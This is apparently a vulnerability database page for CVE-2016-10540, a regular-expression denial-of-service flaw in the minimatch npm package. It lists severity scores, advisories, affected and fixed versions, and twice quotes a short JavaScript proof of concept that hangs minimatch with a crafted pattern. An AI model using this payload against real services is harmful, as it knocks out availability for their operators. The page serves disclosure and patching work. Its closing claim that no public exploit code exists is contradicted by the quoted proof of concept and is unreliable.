CVE-2016-10540
Regular Expression Denial of Service in minimatch
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
7.5
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
CVE-2016-10540- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:N/A:P - Weakness
- CWE-400, CWE-20
- Updated
- 2026-11-02
CVE List No score
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
CVE-2016-10540- Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2018-0621 No score
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
EUVD-2018-0621- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-hxm2-r34f-qmc5
7.5
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Recommendation
Update to version 3.0.2 or later.
- Record
GHSA-hxm2-r34f-qmc5- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVAZL-44502
7.5
CVE-2016-10540 affecting package js-jquery 3.5.0-4
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
AZL-44502- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSV
7.5
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
CVE-2016-10540- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 12 moreShow less
OSVDEBIAN-CVE-2016-10540
7.5
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
DEBIAN-CVE-2016-10540- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-hxm2-r34f-qmc5
7.5
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Recommendation
Update to version 3.0.2 or later.
- Record
GHSA-hxm2-r34f-qmc5- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2016-10540
7.5
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
- Record
UBUNTU-CVE-2016-10540- CVSS 3.0
- 7.5 High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1773620219 No score
TuxCare security update for minimatch (1 CVE)
TuxCare rebuilt minimatch to address 1 CVE. Fixed in 0.2.14-tuxcare.1.
- Record
CLSA-2026-1773620219- Updated
- 2026-11-02
OSVCLSA-2026-1774484503 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.3.0-tuxcare.1.
- Record
CLSA-2026-1774484503- Updated
- 2026-11-02
OSVCLSA-2026-1774484504 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.0.5-tuxcare.1.
- Record
CLSA-2026-1774484504- Updated
- 2026-11-02
OSVCLSA-2026-1774484505 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 2.0.10-tuxcare.1.
- Record
CLSA-2026-1774484505- Updated
- 2026-11-02
OSVCLSA-2026-1774484506 No score
TuxCare security update for minimatch (1 CVE)
TuxCare rebuilt minimatch to address 1 CVE. Fixed in 1.0.0-tuxcare.1.
- Record
CLSA-2026-1774484506- Updated
- 2026-11-02
OSVCLSA-2026-1777250299 No score
TuxCare security update for minimatch (1 CVE)
TuxCare rebuilt minimatch to address 1 CVE. Fixed in 0.0.4-tuxcare.2.
- Record
CLSA-2026-1777250299- Updated
- 2026-11-02
OSVCLSA-2026-1786361876 No score
TuxCare security update for minimatch (5 CVEs)
TuxCare rebuilt minimatch to address 5 CVEs. Fixed in 0.2.5-tuxcare.1.
- Record
CLSA-2026-1786361876- Updated
- 2026-11-02
OSVCLSA-2026-1790604852 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.4.0-tuxcare.1.
- Record
CLSA-2026-1790604852- Updated
- 2026-11-02
OSVUSN-4783-1 No score
node-minimatch vulnerability
It was discovered that minimatch did not perform necessary bounds checking on regular expressions. An attacker could use this vulnerability to cause a denial of service.
- Record
USN-4783-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
minimatchnpm |
before 3.0.2 | 3.0.2 |
js-jqueryAzure Linux:3 |
through 3.5.0-4 | None known |
minimatchTuxCare:npm |
0.2.14-tuxcare.0 up to 0.2.14-tuxcare.1, plus listed versions 0.2.14 |
0.2.14-tuxcare.1 |
minimatchTuxCare:npm |
0.3.0-tuxcare.0 up to 0.3.0-tuxcare.1, plus listed versions 0.3.0 |
0.3.0-tuxcare.1 |
minimatchTuxCare:npm |
0.0.5-tuxcare.0 up to 0.0.5-tuxcare.1, plus listed versions 0.0.5 |
0.0.5-tuxcare.1 |
minimatchTuxCare:npm |
2.0.10-tuxcare.0 up to 2.0.10-tuxcare.1, plus listed versions 2.0.10 |
2.0.10-tuxcare.1 |
minimatchTuxCare:npm |
1.0.0-tuxcare.0 up to 1.0.0-tuxcare.1, plus listed versions 1.0.0 |
1.0.0-tuxcare.1 |
minimatchTuxCare:npm |
0.0.4-tuxcare.0 up to 0.0.4-tuxcare.2, plus listed versions 0.0.40.0.4-tuxcare.1 |
0.0.4-tuxcare.2 |
minimatchTuxCare:npm |
0.2.5-tuxcare.0 up to 0.2.5-tuxcare.1, plus listed versions 0.2.5 |
0.2.5-tuxcare.1 |
minimatchTuxCare:npm |
0.4.0-tuxcare.0 up to 0.4.0-tuxcare.1, plus listed versions 0.4.0 |
0.4.0-tuxcare.1 |
Show 5 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-minimatchDebian:12 |
before 3.0.3-1 | 3.0.3-1 |
node-minimatchDebian:13 |
before 3.0.3-1 | 3.0.3-1 |
node-minimatchDebian:14 |
before 3.0.3-1 | 3.0.3-1 |
node-minimatchUbuntu:Pro:14.04:LTS |
before 0.2.12-1ubuntu0.1~esm2, plus listed versions 0.2.11-10.2.12-1 |
0.2.12-1ubuntu0.1~esm2 |
node-minimatchUbuntu:Pro:16.04:LTS |
before 1.0.0-1ubuntu0.1~esm2, plus listed versions 1.0.0-1 |
1.0.0-1ubuntu0.1~esm2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2016-10540 is a high vulnerability (CVSS 7.5) in Minimatch Project Minimatch, published May 31, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.50%, the 74th percentile. Fixed in minimatch 3.0.2.